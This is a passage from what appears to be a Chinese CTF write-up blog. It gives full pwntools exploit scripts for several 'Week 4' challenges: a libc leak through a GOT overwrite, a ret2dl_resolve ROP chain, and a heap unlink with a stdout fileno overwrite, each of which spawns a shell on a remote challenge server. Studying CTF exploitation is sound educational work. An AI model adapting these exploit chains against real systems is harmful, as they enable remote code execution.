72
73
74
75
76
77
78
79
80
81
82
83
84
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './main'
e = ELF(file)
libc = e.libc
rlibc = './libc-2.23.so'
ip = '47.103.214.163'
port = '20303'
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

run(0)

rc()
sl("1")
rc()
sl("10")
rc()
sl("1")
rc()
sl("10")
# 12 13 14
rc()
sl("4")
rc()
sl("0")
rc()
sl("12")
rc()
sl("12")
rc()
sl(str(e.got['atoi']))
rc()
sl("2")
rc()
sl("1")
rc()
sl("0")
ru("Number: ")
libc.address = int(ru('\n')) - libc.symbols['atoi']
success(hex(libc.address))
rc()
sl("3")
rc()
sl("1")
rc()
sl("0")
rc()
sl(str(libc.symbols['system']))
rc()
sl("/bin/sh")
shell()

Week 4

ROP_LEVEL5

程序关闭了stdout,stderr,无法进行leak,存在栈溢出,只能ret2dl_resolve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
# p = process("./ROP5")
p = remote("47.103.214.163","20700")
e = ELF("./ROP5")
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p.recv()
dl_resolve = 0x08048380
system_offset = 0
fake_rel = p32(e.got['close']) + p32(0x1e807)
fake_sym = p32(0x1e08 - 0x10) + p32(0) + p32(0) + p32(0x00000012) + p32(0) + p32(0)
fake = fake_rel + fake_sym + 'system\x00/bin/sh 1>&0'
rop_chain = p32(e.plt['read']) + p32(e.symbols['vuln']) + p32(0) + p32(e.symbols['buf'] - 0x10) + p32(len(fake))
p.sendline('a' * 0x44 + p32(e.got['puts']) + rop_chain)
sleep(1)
p.send(fake)
rop_chain = p32(dl_resolve) + p32(0x1d30 - 0x10) + p32(0x804a077) + p32(0x804a077)
p.sendline('a' * 0x44 + p32(e.got['puts']) + rop_chain)
p.interactive()

Annevi_Note2

程序关闭了stdout,所以一开始没有leak,不过可以通过edit负数溢出通过bss上的stdout指针,修改stdout结构体中的_fileno为2(转变成stderr),进而可以leak,利用unlink修改list数组为free@got,改为system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './AN22'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = '47.103.214.163'
port = '20701'
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))


def add(size, ct):
sl("1")
rc()
sl(str(size))
rc()
se(ct)
rc()

def dele(idx):
sl("2")
rc()
sl(str(idx))
rc()

def show(idx):
sl("3")
rc()
sl(str(idx))

def edit(idx, ct):
sl("4")
rc()
sl(str(idx))
rc()
se(ct)



run(0)
rc()
add(0x98, '0\n')
add(0x98, '1\n')
add(0x98, '/bin/sh 1>&2\n')
edit(0, p64(0) + p64(0x91) + p64(0x6020e0 - 0x18) + p64(0x6020e0 - 0x10) + 'a' * 0x70 + p64(0x90) + p64(0xa0) + '\n')
dele(1)
edit(0, p64(0) * 4 + p64(e.got['free']) + '\n')
edit(-8, p64(0xfbad28a7) + p64(0) * 13 + p64(2) + '\n')
show(1)
ru("t:")
libc.address = un64(rn(6)) - libc.symbols['free']
sl("4")
sla("?\n", "1")
sla(":", p64(libc.symbols['system']))
dele(2)
shell()

  pwn

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×